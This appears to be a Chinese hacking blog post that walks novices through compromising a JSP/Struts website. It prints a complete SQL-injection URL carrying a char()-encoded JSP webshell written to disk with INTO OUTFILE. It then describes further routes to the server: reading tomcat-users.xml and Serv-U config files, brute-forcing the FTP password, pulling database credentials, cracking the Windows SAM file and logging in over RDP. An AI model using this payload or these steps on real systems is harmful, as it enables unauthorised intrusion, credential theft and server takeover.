|
作者:sai52[B.H.S.T] blog:www.sai52.com
前言:
如果新手朋友不知道什么是Struts,可以参见文章 《入侵基于java Struts的JSP网站》 (/art/20081216/4294.html)。
《入侵基于java Struts的JSP网站》是好友skyfire所作,被一些大的网站转载,却都没有写上作者名字,请允许我在这里鄙视一下他们。
正文:
给朋友帮忙检测一个jsp的站点,mysql数据库。已知存在注入点,用order by 猜出了字段是15个,其他就什么有用的信息都没暴出来。union查询的时候,字段数正确但不显示正常画面。
嘿嘿,别让错误信息给骗了,实际上还是能union查询的,就在“10”的那个位置。
查询得知MYSQL版本是4.1.19,root权限,可读文件(如果知道路径的话)。
狠狠地扫了它一遍(这里要注意,用wwwscan扫ip和扫网址得到的结果不同,要扫2次)。
得到很多有用的信息,其中包括:
网站的物理路径:D:\china\ 网站后台登陆地址:http://www.site.org.cn/admin/login.jsp TOMCAT的后台登陆地址:http://xxx.xx.xxx.xx/admin/
1. 用into outfile导出一句话webshell
注入点能够使用union,有File权限,知道了网站的物理路径,jsp又没有类似magic_quotes_gpc = on这样的设置,正适合用into outfile导出一句话webshell。
- http://www.site.org.cn/XXXXMessage.jsp?id=7676%20and%201=2%20union%20select%200,1,2,3,4,5,6,7,8,9,char(60,37,32,105,102,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,33,61,110,117,108,108,41,40,110,101,119,32,106,97,118,97,46,105,111,46,70,105,108,101,79,117,116,112,117,116,83,116,114,101,97,109,40,97,112,112,108,105,99,97,116,105,111,110,46,103,101,116,82,101,97,108,80,97,116,104,40,34,92,34,41,43,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,41,41,46,119,114,105,116,101,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,116,34,41,46,103,101,116,66,121,116,101,115,40,41,41,59,32,37,62),11,12,13,14%20into%20outfile%20'D:\\china\\19h.jsp'/*
第一次没有成功,不知道哪里出错,导出的jsp-webshell不能正常使用,后来发现导出的webshell有15M那么大。(=_=!)
虽然失败了,不过访问导出的webshell,页面出错却暴出了TOMCAT的物理路径 D:\Tomcat 5.0\ 。:)
再次导出jsp-webshell,这次成功了,利用一句话webshell上传了个大马。查看得到的一句话webshell内容如图
查看权限,是system。
本该结束了,不过一时性起,就把能想到的手段都用了一遍(闲的)。(=_=!) PS:后面的方法都没有利用之前得到的webshell。
2.读取TOMCAT后台密码登陆TOMCAT管理后台
刚才无意中暴出TOMCAT的物理路径 D:\Tomcat 5.0\ ,又知道TOMCAT的后台登陆地址,接下来当然是直接load_file()读取tomcat-user.xml文件了。(TOMCAT密码文件,默认 保存在 TOMCAT目录下\conf\tomcat-user.xml)
读到密码,顺利登陆/admin 目录。
TOMCAT在/admin 目录下的利用只能遍历一下目录,需要和其他方法结合才好用。 而能直接得到webshell的/manager/html目录,因为8080端口登陆不上去,这里就略过了。
3.读取ServUDaemon.ini破解密码利用ftp上传webshell
开始想load_file()读取
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
文件,直接得到serv-u的安装路径的,结果猜错了路径,没有读到(后来发现是在 C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U FTP Server\Serv-U Administrator.lnk),只好按默认路径猜,在猜到 C:\Program Files\Serv-U\ 的时候读出了ServUDaemon.ini的内容,拿加密的密码到cmd5.com去反查,没有查出来,想想cmd5.com的密码范围包括12位以下 数字、8位字母、全部7位及以下字母加数字的组合,而serv-u的密文前面两位字母是已知的,那么这个密码的可能范围就是
① 纯字母且大于6位 ② 纯数字且大于5位 ③ 字母+数字组合且大于5位
只要不是第3种,暴力破解还是比较有可能的,于是拖出md5crake_V4暴破,结果几秒钟就得到了密码明文。(=_=!)
ftp上传了个jsp的webshell,就解决了。
4.连接MYSQL插入导出一句话webshell
试试load_file()网站的数据库连接文件,顺藤摸瓜没费什么力气就找到了。
login.jsp 文件内容
include.jsp文件内容
dbconf.jsp文件内容
mysql连上去,建表--插入--导出webshell
成功导出了一个jsp一句话webshell到网站目录,之后顺利上传了个大马。
5.load_file()读取c:\windows\repair\sam ,导入LC5破解管理员密码
具体步骤就不细说了,不会方法的朋友请参见文章《MYSQL注入中load_file()函数的进一步应用》 (/art/20081216/4293.html)
一边破解,一边试试社会工程学。用之前得到的ftp密码和TOMCAT后台登陆密码试着登陆服务器的3389,结果用TOMCAT后台登陆密码成功登陆服务器的终端服务。
6.union查询网站后台登陆密码
因为是Struts,load_file()查看源文件查不到表名(封装了),猜表名也没蒙对(后来连接数据库查看发现表名前面有自定义前缀),如 果利用TOMCAT后台建立虚拟目录的方法来遍历,之后用load_file()下载.class文件反编译的方式查看的话,工程实在太大了,所以我没有 试。
检测到这里就结束了。这是个pr值为6的网站,存在如此明显而具杀伤力的漏洞,我想大家浏览网页的时候是不是要考虑多装几个杀软。(=_=!)
本文没什么技术含量,只是提供了思路,希望对新手朋友们有用。
|